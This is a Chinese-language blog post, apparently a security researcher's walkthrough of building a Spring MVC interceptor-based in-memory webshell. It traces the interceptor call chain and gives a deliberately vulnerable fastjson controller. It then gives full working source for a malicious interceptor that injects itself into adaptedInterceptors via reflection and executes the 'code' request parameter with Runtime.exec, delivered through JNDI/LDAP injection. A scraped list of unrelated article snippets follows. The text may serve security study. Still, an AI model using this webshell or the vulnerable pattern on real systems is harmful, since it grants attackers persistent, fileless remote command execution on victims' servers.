针对Spring MVC的Interceptor内存马
针对Spring MVC的Interceptor内存马
1 基础拦截器和调用流程的探索
学习、探索和实现过程很多都基于大佬的文章https://landgrey.me/blog/19/ https://landgrey.me/blog/12/
1.1 基础拦截器
前不久实现cotroller内存马能添加冰蝎代码后,又想到spring mvc的拦截器应该也可以用于注入内存马,目前的关键点在于找到拦截器是如何被触发以及如何动态添加拦截器
首先来写个正常的拦截器TestInterceptor类,并添加xml配置


然后启动程序,在访问/home/index,并添加code参数弹个计算器

1.2 探索拦截器的调用链
断点打在TestInterceptor类中,调试看看调用链
preHandle:31, TestInterceptor (bitterz.interceptors)
applyPreHandle:134, HandlerExecutionChain (org.springframework.web.servlet)
doDispatch:956, DispatcherServlet (org.springframework.web.servlet)
doService:895, DispatcherServlet (org.springframework.web.servlet)
processRequest:967, FrameworkServlet (org.springframework.web.servlet)
doGet:858, FrameworkServlet (org.springframework.web.servlet)
service:621, HttpServlet (javax.servlet.http)
service:843, FrameworkServlet (org.springframework.web.servlet)
service:728, HttpServlet (javax.servlet.http)
internalDoFilter:305, ApplicationFilterChain (org.apache.catalina.core)
doFilter:210, ApplicationFilterChain (org.apache.catalina.core)
invoke:222, StandardWrapperValve (org.apache.catalina.core)
invoke:123, StandardContextValve (org.apache.catalina.core)
invoke:472, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:171, StandardHostValve (org.apache.catalina.core)
invoke:99, ErrorReportValve (org.apache.catalina.valves)
invoke:947, AccessLogValve (org.apache.catalina.valves)
invoke:118, StandardEngineValve (org.apache.catalina.core)
service:408, CoyoteAdapter (org.apache.catalina.connector)
process:1009, AbstractHttp11Processor (org.apache.coyote.http11)
process:589, AbstractProtocol$AbstractConnectionHandler (org.apache.coyote)
run:312, JIoEndpoint$SocketProcessor (org.apache.tomcat.util.net)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)
关键点在doDispatch方法,先通过getHandler方法获取了mappedHandler对象

在后方调用mappedHandler的applyPreHandler方法

这个方法中就是依次调用每个interceptor实例的preHandle方法,实际上就进入了前面写好的TestInterceptor类的preHandle方法中。

1.3 探索拦截器是如何被添加的
跟踪mappedHandler的获取过程,先是调用了org.springframework.web.servlet.DispatcherServlet中的getHandler方法

跟进getHandler方法,这里会遍历this.handlerMappings,获取HandlerMapping的实例,再调用getHandler方法

这里断点跟进getHandler函数处,会发现实际上调用了org.springframework.web.servlet.handler.AbstractHandlerMapping类中的getHandler方法

再跟进getHandlerExecutionChain方法,发现其中会遍历adaptedInterceptors这数组,并判断获取的interceptor实例是不是MappedInterceptor类的实例对象,而MappedInterceptor类就是对拦截器HandlerInterceptor接口的实现,所以前面定义的TestInterceptor自然会被加入chain中并返回

至此,拦截器的加载和调用流程就清楚了, 动态添加拦截器的话,只需要在org.springframework.web.servlet.handler.AbstractHandlerMapping类的实例对象的adaptedInterceptors数组中添加恶意interceptor实例对象即可!
那么关键就在于找到org.springframework.web.servlet.handler.AbstractHandlerMapping类的实例对象,CTRL+ALT+B找到所有AbstractHandlerMapping的子类,并在beanFactory的beanDefinitionNames中找到它的实例org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping

因此可以通过context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping")获取该对象,再反射获取其中的adaptedInterceptors属性,并添加恶意interceptor实例对象即可完成内存马的注入
2 实践
首先用springmvc 写了一个包含fastjson的反序列化漏洞的controller
@RequestMapping(value = "/postjson", method = RequestMethod.GET)
public String postJson(HttpServletRequest request){
return "postjson";
}
@RequestMapping(value = "/readjson", method = RequestMethod.POST)
public String readJson(HttpServletRequest request){
String jsonStr = request.getParameter("jsonstr");
System.out.println(jsonStr); // 在控制台输出jsonStr
Object obj = JSON.parseObject(jsonStr);
System.out.println(obj); // 等同于数据操作
return "readjson"; // 返回一个页面给用户
}
访问/postjson,并提交payload,而payload会发送到/readjson处,被fastjson反序列化,触发JNDI注入造成内存马的注入。首先开启LDAP和python服务,编译恶意Interceptor类

恶意Interceptor类源代码如下
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class TestInterceptor extends HandlerInterceptorAdapter {
public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException {
// 获取context
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 从context中获取AbstractHandlerMapping的实例对象
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
// 反射获取adaptedInterceptors属性
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
// 避免重复添加
for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {
if (adaptedInterceptors.get(i) instanceof TestInterceptor) {
System.out.println("已经添加过TestInterceptor实例了");
return;
}
}
TestInterceptor aaa = new TestInterceptor("aaa"); // 避免进入实例创建的死循环
adaptedInterceptors.add(aaa); // 添加全局interceptor
}
private TestInterceptor(String aaa){}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String code = request.getParameter("code");
// 不干扰正常业务逻辑
if (code != null) {
java.lang.Runtime.getRuntime().exec(code);
return true;
}
else {
return true;
}}}
这里提交两次payload是为了确认:不重复添加interceptor的代码生效了


可见Interceptor内存马已经注入了,现在弹个计算器验证一下

针对Spring MVC的Interceptor内存马的更多相关文章
- 针对spring mvc的controller内存马-学习和实验
1 基础 实际上java内存马的注入已经有很多方式了,这里在学习中动手研究并写了一款spring mvc应用的内存马.一般来说实现无文件落地的java内存马注入,通常是利用反序列化漏洞,所以动手写了一 ...
- spring MVC使用Interceptor做用户登录判断
在任何一个项目中,我们必须要用到的就是用户登录,那么就少不了用户是否登录的判断,如果我们每一个请求都要去做一次判断,那么就会变得很麻烦,但我们复制粘贴的时候我们就要考虑我们的代码写的是不是有问题,是不 ...
- 利用Fastjson注入Spring内存马
此篇文章在于记录自己对spring内存马的实验研究 一.环境搭建 搭建漏洞环境,利用fastjson反序列化,通过JNDI下载恶意的class文件,触发恶意类的构造函数中代码,注入controller ...
- Java安全之Spring内存马
Java安全之Spring内存马 基础知识 Bean bean 是 Spring 框架的一个核心概念,它是构成应用程序的主干,并且是由 Spring IoC 容器负责实例化.配置.组装和管理的对象. ...
- 通过拦截器Interceptor实现Spring MVC中Controller接口访问信息的记录
java web工程项目使用了Spring+Spring MVC+Hibernate的结构,在Controller中的方法都是用于处理前端的访问信息,Controller通过调用Service进行业务 ...
- Spring MVC 过滤静态资源访问
过滤的必要性 一般来说,HTTP 请求都会被映射到 DispatcherServlet,进而由具体的类来承接处理,但对于类似 js 或者 css 这样的静态资源则没必要这样,因为对资源的获取只需返回资 ...
- 从一个简单案例上手Spring MVC,同时分析Spring MVC面试问题
很多公司都会用Spring MVC,而且初级程序员在面试时,一定会被问到这方面的问题,所以这里我们来通过一个简单的案例来分析Spring MVC,事实上,我们在培训中就用这个举例,很多零基础的程序员能 ...
- Spring MVC深入学习
一.MVC思想 MVC思想简介: MVC并不是java所特有的设计思想,也不是Web应用所特有的思想,它是所有面向对象程序设计语言都应该遵守的规范:MVC思想将一个应用部分分成三个基本部 ...
- spring mvc 启动过程及源码分析
由于公司开源框架选用的spring+spring mvc + mybatis.使用这些框架,网上都有现成的案例:需要那些配置文件.每种类型的配置文件的节点该如何书写等等.如果只是需要项目能够跑起来,只 ...
随机推荐
- linux删除文件空间不释放问题解决
目录 场景描述 原因 解决方法 在线清空文件 场景描述 某天,收到Prometheus报警,生产中某台机器出现磁盘空间不足报警,该台服务器是mysql其中一台从库,远程登录到该服务后,排查磁盘空间的原 ...
- 1669 DINIC+二分
题意: 给你一些名单,和每个名单可以放在哪个分组里,现在要求你把所有的人都分到一个他属于的分组(之一),然后问你分组中最多的那个人数最少是多少... 思路: 二分最多的最少,然后 ...
- 缓冲区溢出分析第05课:编写通用的ShellCode
前言 我们这次的实验所要研究的是如何编写通用的ShellCode.可能大家会有疑惑,我们上次所编写的ShellCode已经能够很好地完成任务,哪里不通用了呢?其实这就是因为我们上次所编写的ShellC ...
- 神经网络与机器学习 笔记—单神经元解决XOR问题
单神经元解决XOR问题 有两个输入的单个神经元的使用得到的决策边界是输入空间的一条直线.在这条直线的一边的所有的点,神经元输出1:而在这条直线的另一边的点,神经元输出0.在输入空间中,这条直线的位置和 ...
- C++虚函数 - 静态函数能否为虚函数 .
1.virtual与静态函数 C++中,静态成员函数不能被声明为virtual函数. 例如,下面的程序会编译失败. #include<iostream> class Test { publ ...
- 转: inline关键字使用
1.inline用在函数声明时,还是函数定义时?还是两边都加? 首先,内联函数声明和定义最好在同一个文件中,其它的情况没有实用上的意义. 只要在同一个文件中,声明和定义至少其一加"inlin ...
- 笔记·RCNN系相关
这篇博客总述了从RCNN到Mask RCNN的发展过程 https://blog.csdn.net/heavenpeien/article/details/80534963 简单的说,Fast RCN ...
- 【BUAA软工】提问回顾与个人总结
链接到以前提问题的博客 在之前的博客我曾经提问过以下几个问题 为什么单元测试必须由写程序的人完成? 过早优化,过早泛华:何时为过早? 为何使用goto语句? 用户需求分析:分而治之,如何分? 兼容性测 ...
- 企业选择CRM系统的要点
经过十数年的发展,CRM客户管理系统在企业当中开始家喻户晓,它的普及性也越来越高.管理者们也纷纷意识到CRM系统--这种企业管理工具带来的巨大好处.既然CRM给企业带来这么大的好处,那么企业该怎么选择 ...
- 一文搞懂:java中的VO、PO、BO、DAO、POJO
针对java工程里的各种带O的对象,进行分析,了解各自的作用. PO:persistent object,持久对象.与数据库里表字段一一对应.PO是一些属性,以及set和get方法组成.一般情况下,一 ...